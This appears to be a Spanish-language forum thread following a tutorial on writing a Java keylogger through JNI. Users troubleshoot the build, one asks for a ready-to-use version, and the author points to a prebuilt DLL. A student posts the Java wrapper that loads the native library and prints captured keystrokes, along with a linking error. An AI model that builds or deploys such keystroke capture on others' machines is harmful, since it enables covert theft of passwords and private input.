[Tutorial] Keylogger en Java (JNI)

Iniciado por Leyer, 24 Noviembre 2009, 02:27 AM

0 Miembros y 1 Visitante están viendo este tema.

Flynker


Debci

Porque como tal no tiene un valor general, por eso esta entre la lista de los mejores posts del foro.

Saludos

Leyer

Le tuve que hacer una actualización estaba un poco mal hecho :P

un saludo.

miguelvmonroy

 :-[

alguien ya lo tiene ya listo para usarse por que he tratado y me quede en el paso  Paso 1: Creación del Archivo .java
por que no se como llamar al archivo si keylogger.java

y despues

en donde guardo ese archivo.

despues en el paso 2

javac Keylogger.java
javah -jni Keylogger
al poner esto en la consola de java me sale un error, alguien me podra ayuda.

:(

gracias amigos

Leyer

#24
@miguelvmonroy:

Es por que tienes modificar el path del sistema colocándole la ruta donde tienes el jdk.

De todas formas si te da muchos problemas fíjate que al final coloque la dll ya generada solo tienes que descargarla y usarla.

Un saludo.

christmo

Que bien tu tutorial...  ;-)


Se te Felicita sigue así...


Saludos


christmo



RafelMestre

Hola a todos,
        Estoy haciendo el tutorial del primer post, y tengo una duda al final del tutorial. Una vez he conseguido crear la dll, creo un proyecto con netbeans llamado Keylogger. Una vez esto, en el main copio el main que pusiste al final del tutorial:

public class Keylogger {
   public static void main(String[] args) {
   new Keylogger().start();
   }
}

Después copio la dll creada en la carpeta src de este proyecto donde se encuentra el Keylogger.java.
Y al final cuando compilo el proyecto con el netbeans, me da un error en la linea new Keylogger().start(); donde me dice que no ha encontrado el metodo start.

Alguien me puede ayudar????
Tengo que cambiar algo???

Gracias por la ayuda.

Leyer

Tienes que colocarle un nombre diferente de la clase de Keylogger

Código (java) [Seleccionar]
public class MainClass {
  public static void main(String[] args) {
  new Keylogger().start();
  }
}

RafelMestre

#28
Hola Leyer,
       Me gustaria agregarte a mi msn porque estoy haciendo el proyecto de final de carrera, y necesito utilizar lo de este post; y como tengo varias dudas, me gustaria poder chatear contigo para pedirte varias cosas. Mi email es: ¿¿¿¿¿¿

Gracias.

RafelMestre

#29
Hola leyer,
      Te explico lo que tengo hecho:
1_ He creado la libreria Keylogger.dll
2_ He creado un proyecto con netBeans llamado "Prova"
3_ He copiado la dll en la carpeta C:\...\NetBeansProjects\Prova\src\prova
4_ He creado una classe dentro del proyecto llamada Keylogger, donde he copiado el codigo:

package prova;

public class Keylogger extends Thread {
   private boolean   running=true;
   private int       value =0;
   private native int get();
   static {
      System.loadLibrary("Keylogger");
      /**
       * Carga de la DLL
       */
      }
   @Override
   public synchronized void run(){
         while(running){
            value = get();
            /**
             * Optenemos la Tecla Precionada
             */
            System.out.println((char)value);
            /**
             * La Mostramos en la Salida Estandar
             */
         }
   }
}

5_ Una vez creado, he creado otra classe dentro del paquete llamada "Main", donde he escrito:

package prova;

public class Main {
   public static void main(String[] args) {
   new Keylogger().start();
   }
}

Así es como me queda en el netBeans:


6_ A partir de aquí, compilo con netBeans y no me da ningún error, pero cuando ejecuto, me da el siguiente error:

Exception in thread "Thread-0" java.lang.UnsatisfiedLinkError: prova.Keylogger.get()I
       at prova.Keylogger.get(Native Method)
       at prova.Keylogger.run(Keylogger.java:25)

Qué puedo hacer mal???

Gracias anticipadamente,
Rafel
P.D.: Si me quieres agregar en el hotmail (??????????) te puedo enviar el proyecto para ver si sabes lo que puedo hacer mal.
Adiós!!!!